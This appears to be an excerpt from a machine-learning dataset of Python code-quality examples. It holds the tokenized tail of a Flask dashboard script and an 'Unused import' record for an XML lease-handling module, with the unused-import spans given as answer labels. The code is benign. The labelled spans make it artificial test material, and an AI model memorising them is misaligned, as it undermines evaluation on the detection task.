"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "Fig", "ure", ",", " ", "add", " ", "some", " ", "settings", ",", " ", "make", " ", "a", " ", "line", " ", "plot_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", "=_", "Figure_", "(_", "\"/", "mg", "chart", "/\"_", ",_", "\"", "myc", "hart", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "graphics_", "._", "transiti", "on", "\\u", "on", "\\u", "update_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "graphics_", "._", "animate", "\\u", "on", "\\u", "load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "layout_", "._", "set\\u", "size_", "(_", "width_", "=_", "450_", ",_", "height_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fig_", "._", "layout_", "._", "set\\u", "margin_", "(_", "left_", "=_", "40_", ",_", "right_", "=_", "40_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lc_", "=_", "Line", "Chart_", "(_", "sf_", ",_", "fig_", ",_", "\"", "Date", "\"_", ",_", "[_", "\"", "value", "\"_", "]_", ",_", "init", "\\u", "params_", "=_", "{_", "\"", "Data", "\"_", ":_", "\"", "Step", "s", "\"_", "}_", ",_", "timeseries_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ui_", "._", "add", "\\u", "chart_", "(_", "lc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "make", " ", "a", " ", "Filter", "Frame", " ", "for", " ", "the", " ", "histogram_", "\\u\\u\\uNL\\u\\u\\u_", "h", "Fig", "_", "=_", "Figure_", "(_", "\"/", "mg", "hist", "/\"_", ",_", "\"", "myh", "ist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "Fig", "_", "._", "layout_", "._", "set\\u", "size_", "(_", "width_", "=_", "450_", ",_", "height_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "Fig", "_", "._", "layout_", "._", "set\\u", "margin_", "(_", "left_", "=_", "40_", ",_", "right_", "=_", "40_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "h", "Fig", "_", "._", "graphics_", "._", "animate", "\\u", "on", "\\u", "load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Make", " ", "a", " ", "histo", "gram", " ", "with", " ", "20", " ", "bins_", "\\u\\u\\uNL\\u\\u\\u_", "hc_", "=_", "Histogram", "_", "(_", "sf_", ",_", "h", "Fig", "_", ",_", "\"", "value", "\"_", ",_", "20_", ",_", "init", "\\u", "params_", "=_", "{_", "\"", "Data", "\"_", ":_", "\"", "Step", "s", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ui_", "._", "add", "\\u", "chart_", "(_", "hc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Let", "'", "s", " ", "play", " ", "with", " ", "our", " ", "input_", "\\u\\u\\uNL\\u\\u\\u_", "df_", "[_", "\"", "Date", "\"_", "]_", "=_", "pd_", "._", "to", "\\u", "datetime_", "(_", "df_", "[_", "\"", "Date", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "df_", "[_", "\"", "week", "\"_", "]_", "=_", "df_", "[_", "\"", "Date", "\"_", "]_", "._", "apply_", "(_", "lambda_", "x_", ":_", "x_", "._", "iso", "calendar_", "(_", ")_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gf_", "=_", "df_", "._", "groupby_", "(_", "\"", "week", "\"_", ")_", "._", "agg_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Date", "\"_", ":_", "[_", "np_", "._", "min_", ",_", "np_", "._", "max_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Step", "s", "\"_", ":_", "np_", "._", "sum_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Cal", "orie", "s", " ", "Bur", "ned", "\"_", ":_", "np_", "._", "sum_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Distan", "ce", "\"_", ":_", "np_", "._", "sum_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "._", "reset", "\\u", "index_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "lambda_", "x_", ":_", "'\\u'_", "._", "join_", "(_", "x_", ")_", "if_", "(_", "len_", "(_", "x_", "[_", "1_", "]_", ")_", ">_", "0_", ")_", "and_", "x_", "[_", "1_", "]_", "!=_", "'", "sum", "'_", "else_", "x_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gf_", "._", "columns_", "=_", "[_", "f_", "(_", "c_", ")_", "for_", "c_", "in_", "gf_", "._", "columns_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gf_", "=_", "gf_", "._", "sort", "\\u", "index_", "(_", "by_", "=_", "\"", "week", "\"_", ",_", "ascending_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gf_", "[_", "\"", "Date", "\\u", "amin", "\"_", "]_", "=_", "gf_", "[_", "\"", "Date", "\\u", "amin", "\"_", "]_", "._", "apply_", "(_", "lambda_", "x_", ":_", "x_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gf_", "[_", "\"", "Date", "\\u", "ama", "x", "\"_", "]_", "=_", "gf_", "[_", "\"", "Date", "\\u", "ama", "x", "\"_", "]_", "._", "apply_", "(_", "lambda_", "x_", ":_", "x_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cols_", "=_", "Order", "ed", "Dict_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "week", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "Week", "\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Date", "\\u", "amin", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "Start", " ", "Date", "\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Date", "\\u", "ama", "x", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "End", " ", "Date", "\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Cal", "orie", "s", " ", "Bur", "ned", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "Cal", "orie", "s", " ", "Bur", "ned", "\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Step", "s", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "Step", "s", "\"_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "\"", "Distan", "ce", "\"_", ",_", "{_", "\"", "label", "\"_", ":_", "\"", "Distan", "ce", " ", "(", "mi", ")\"_", ",_", "\"", "format", "\"_", ":_", "\"%", "5.2", "f", "\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tb_", "=_", "Data", "Table_", "(_", "\"", "myt", "able", "\"_", ",_", "\"/", "myt", "able", "/\"_", ",_", "gf_", ",_", "columns_", "=_", "cols_", ",_", "paging", "_", "=_", "True_", ",_", "page", "Length_", "=_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ui_", "._", "add", "\\u", "chart_", "(_", "tb_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "Flask_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sb_", "=_", "ui_", "._", "render", "\\u", "layout_", "(_", "app_", ",_", "\"./", "project", "/", "static", "/", "layout", ".", "js", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "webp", "ack", " ", "file", " ", "and", " ", "bundle", " ", "our", " ", "javascript", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "pyx", "ley", "_", "._", "utils_", "import_", "Web", "pack_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wp_", "=_", "Web", "pack_", "(_", "\".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wp_", "._", "create", "\\u", "webp", "ack", "\\u", "config_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "layout", ".", "js", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"./", "project", "/", "static", "/\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "bundle", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"./", "project", "/", "static", "/\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wp_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "._", "run_", "(_", "debug_", "=_", "True_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/'_", ",_", "methods_", "=_", "[_", "\"", "GET", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "index", "'_", ",_", "methods_", "=_", "[_", "\"", "GET", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "index_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "scripts_", "=_", "[_", "\"./", "bundle", ".", "js", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "render", "\\u", "template_", "(_", "'", "index", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "title_", "=_", "TITLE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "scripts_", "=_", "scripts_", ",_", "\\u\\u\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, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fp7-ofelia/ocf/ofam/src/src/foam/sfa/rspecs/elements/versions/nitosv1Lease.py
[ { "content": "from foam.sfa.util.sfalogging import logger\nfrom foam.sfa.util.xml import XpathFilter\nfrom foam.sfa.util.xrn import Xrn\n\nfrom foam.sfa.rspecs.elements.element import Element\nfrom foam.sfa.rspecs.elements.node import Node\nfrom foam.sfa.rspecs.elements.sliver import Sliver\nfrom foam.sfa.rspecs.elements.location import Location\nfrom foam.sfa.rspecs.elements.hardware_type import HardwareType\nfrom foam.sfa.rspecs.elements.disk_image import DiskImage\nfrom foam.sfa.rspecs.elements.interface import Interface\nfrom foam.sfa.rspecs.elements.bwlimit import BWlimit\nfrom foam.sfa.rspecs.elements.pltag import PLTag\nfrom foam.sfa.rspecs.elements.versions.nitosv1Sliver import NITOSv1Sliver\nfrom foam.sfa.rspecs.elements.versions.nitosv1PLTag import NITOSv1PLTag\nfrom foam.sfa.rspecs.elements.versions.pgv2Services import PGv2Services\nfrom foam.sfa.rspecs.elements.lease import Lease\nfrom foam.sfa.rspecs.elements.channel import Channel\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class NITOSv1Lease:\n\n \n\n", "metadata": "root.NITOSv1Lease", "header": "['module', '___EOS___']", "index": 21 }, { "content": " @staticmethod\n def add_leases(xml, leases, channels):\n \n network_elems = xml.xpath('//network')\n if len(network_elems) > 0:\n network_elem = network_elems[0]\n elif len(leases) > 0:\n network_urn = Xrn(leases[0]['component_id']).get_authority_urn().split(':')[0]\n network_elem = xml.add_element('network', name = network_urn)\n else:\n network_elem = xml\n \n # group the leases by slice and timeslots\n grouped_leases = []\n\n while leases:\n slice_id = leases[0]['slice_id']\n start_time = leases[0]['start_time']\n duration = leases[0]['duration']\n group = []\n \n for lease in leases:\n if slice_id == lease['slice_id'] and start_time == lease['start_time'] and duration == lease['duration']:\n group.append(lease)\n\n grouped_leases.append(group)\n\n for lease1 in group:\n leases.remove(lease1)\n \n lease_elems = [] \n for lease in grouped_leases:\n #lease_fields = ['lease_id', 'component_id', 'slice_id', 'start_time', 'duration']\n lease_fields = ['slice_id', 'start_time', 'duration']\n lease_elem = network_elem.add_instance('lease', lease[0], lease_fields)\n lease_elems.append(lease_elem)\n\n # add nodes of this lease\n for node in lease:\n lease_elem.add_instance('node', node, ['component_id'])\n\n # add reserved channels of this lease\n #channels = [{'channel_id': 1}, {'channel_id': 2}]\n for channel in channels:\n if channel['slice_id'] == lease[0]['slice_id'] and channel['start_time'] == lease[0]['start_time'] and channel['duration'] == lease[0]['duration']:\n lease_elem.add_instance('channel', channel, ['channel_num'])", "metadata": "root.NITOSv1Lease.add_leases", "header": "['class', 'NITOSv1Lease', ':', '___EOS___']", "index": 23 }, { "content": " @staticmethod\n def get_leases(xml, filter={}):\n xpath = '//lease%s | //default:lease%s' % (XpathFilter.xpath(filter), XpathFilter.xpath(filter))\n lease_elems = xml.xpath(xpath)\n return NITOSv1Lease.get_lease_objs(lease_elems)", "metadata": "root.NITOSv1Lease.get_leases", "header": "['class', 'NITOSv1Lease', ':', '___EOS___']", "index": 71 }, { "content": " @staticmethod\n def get_lease_objs(lease_elems):\n leases = [] \n channels = []\n for lease_elem in lease_elems:\n #get nodes\n node_elems = lease_elem.xpath('./default:node | ./node')\n for node_elem in node_elems:\n lease = Lease(lease_elem.attrib, lease_elem)\n lease['slice_id'] = lease_elem.attrib['slice_id']\n lease['start_time'] = lease_elem.attrib['start_time']\n lease['duration'] = lease_elem.attrib['duration']\n lease['component_id'] = node_elem.attrib['component_id']\n leases.append(lease)\n #get channels\n channel_elems = lease_elem.xpath('./default:channel | ./channel')\n for channel_elem in channel_elems:\n channel = Channel(channel_elem.attrib, channel_elem)\n channel['slice_id'] = lease_elem.attrib['slice_id']\n channel['start_time'] = lease_elem.attrib['start_time']\n channel['duration'] = lease_elem.attrib['duration']\n channel['channel_num'] = channel_elem.attrib['channel_num']\n channels.append(channel)\n\n return (leases, channels) ", "metadata": "root.NITOSv1Lease.get_lease_objs", "header": "['class', 'NITOSv1Lease', ':', '___EOS___']", "index": 77 } ]
[ { "span": "from foam.sfa.util.sfalogging import logger", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 43 }, { "span": "from foam.sfa.rspecs.elements.element import Element", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 52 }, { "span": "from foam.sfa.rspecs.elements.node import Node", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 46 }, { "span": "from foam.sfa.rspecs.elements.sliver import Sliver", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 50 }, { "span": "from foam.sfa.rspecs.elements.location import Location", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 54 }, { "span": "from foam.sfa.rspecs.elements.hardware_type import HardwareType", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 63 }, { "span": "from foam.sfa.rspecs.elements.disk_image import DiskImage", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 57 }, { "span": "from foam.sfa.rspecs.elements.interface import Interface", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 56 }, { "span": "from foam.sfa.rspecs.elements.bwlimit import BWlimit", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 52 }, { "span": "from foam.sfa.rspecs.elements.pltag import PLTag", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 48 }, { "span": "from foam.sfa.rspecs.elements.versions.nitosv1Sliver import NITOSv1Sliver", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 73 }, { "span": "from foam.sfa.rspecs.elements.versions.nitosv1PLTag import NITOSv1PLTag", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 71 }, { "span": "from foam.sfa.rspecs.elements.versions.pgv2Services import PGv2Services", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 71 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "util_", "._", "sfa", "logging_", "import_", "logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "util_", "._", "xml_", "import_", "Xp", "ath", "Filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "util_", "._", "xr", "n_", "import_", "Xr", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "element_", "import_", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "node_", "import_", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "sli", "ver_", "import_", "Sli", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "location_", "import_", "Location_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "hard", "ware", "\\u", "type_", "import_", "Hard", "ware", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "disk", "\\u", "image_", "import_", "Disk", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "interface_", "import_", "Interface_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "bw", "limit_", "import_", "BW", "limit_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "plt", "ag_", "import_", "PL", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "nit", "os", "v1", "Sli", "ver_", "import_", "NIT", "OS", "v1", "Sli", "ver_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "nit", "os", "v1", "PL", "Tag_", "import_", "NIT", "OS", "v1", "PL", "Tag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "versions_", "._", "pg", "v2", "Services_", "import_", "PG", "v2", "Services_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "lease_", "import_", "Leas", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "foa", "m_", "._", "sfa", "_", "._", "rsp", "ecs_", "._", "elements_", "._", "channel_", "import_", "Channel_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "NIT", "OS", "v1", "Leas", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "NIT", "OS", "v1", "Leas", "e_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "add", "\\u", "lease", "s_", "(_", "xml_", ",_", "lease", "s_", ",_", "channels_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elems_", "=_", "xml_", "._", "xpath_", "(_", "'//", "network", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "network", "\\u", "elems_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elem_", "=_", "network", "\\u", "elems_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "lease", "s_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "urn_", "=_", "Xr", "n_", "(_", "lease", "s_", "[_", "0_", "]_", "[_", "'", "component", "\\u", "id", "'_", "]_", ")_", "._", "get", "\\u", "authori", "ty", "\\u", "urn_", "(_", ")_", "._", "split_", "(_", "':'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network", "\\u", "elem_", "=_", "xml_", "._", "add", "\\u", "element_", "(_", "'", "network", "'_", ",_", "name_", "=_", "network", "\\u", "urn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network", "\\u", "elem_", "=_", "xml_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "group", " ", "the", " ", "lease", "s", " ", "by", " ", "slice", " ", "and", " ", "timesl", "ots_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "groupe", "d\\u", "lease", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "lease", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "slice", "\\u", "id_", "=_", "lease", "s_", "[_", "0_", "]_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "time_", "=_", "lease", "s_", "[_", "0_", "]_", "[_", "'", "start", "\\u", "time", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration_", "=_", "lease", "s_", "[_", "0_", "]_", "[_", "'", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "group_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "lease_", "in_", "lease", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "slice", "\\u", "id_", "==_", "lease_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "and_", "start", "\\u", "time_", "==_", "lease_", "[_", "'", "start", "\\u", "time", "'_", "]_", "and_", "duration_", "==_", "lease_", "[_", "'", "duration", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "group_", "._", "append_", "(_", "lease_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "groupe", "d\\u", "lease", "s_", "._", "append_", "(_", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "lease", "1_", "in_", "group_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lease", "s_", "._", "remove_", "(_", "lease", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lease", "\\u", "elems_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "lease_", "in_", "groupe", "d\\u", "lease", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "lease", "\\u", "fields", " ", "=", " ", "['", "lease", "\\u", "id", "',", " ", "'", "component", "\\u", "id", "',", " ", "'", "slice", "\\u", "id", "',", " ", "'", "start", "\\u", "time", "',", " ", "'", "duration", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lease", "\\u", "fields_", "=_", "[_", "'", "slice", "\\u", "id", "'_", ",_", "'", "start", "\\u", "time", "'_", ",_", "'", "duration", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease", "\\u", "elem_", "=_", "network", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "lease", "'_", ",_", "lease_", "[_", "0_", "]_", ",_", "lease", "\\u", "fields_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lease", "\\u", "elems_", "._", "append_", "(_", "lease", "\\u", "elem_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "nodes", " ", "of", " ", "this", " ", "lease_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "node_", "in_", "lease_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lease", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "node", "'_", ",_", "node_", ",_", "[_", "'", "component", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "reserve", "d", " ", "channel", "s", " ", "of", " ", "this", " ", "lease_", "\\u\\u\\uNL\\u\\u\\u_", "#", "channel", "s", " ", "=", " ", "[{", "'", "channel", "\\u", "id", "':", " ", "1", "},", " ", "{", "'", "channel", "\\u", "id", "':", " ", "2", "}]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "channel_", "in_", "channels_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "channel_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "==_", "lease_", "[_", "0_", "]_", "[_", "'", "slice", "\\u", "id", "'_", "]_", "and_", "channel_", "[_", "'", "start", "\\u", "time", "'_", "]_", "==_", "lease_", "[_", "0_", "]_", "[_", "'", "start", "\\u", "time", "'_", "]_", "and_", "channel_", "[_", "'", "duration", "'_", "]_", "==_", "lease_", "[_", "0_", "]_", "[_", "'", "duration", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "lease", "\\u", "elem_", "._", "add", "\\u", "instance_", "(_", "'", "channel", "'_", ",_", "channel_", ",_", "[_", "'", "channel", "\\u", "num", "'_", "]_", ")_", 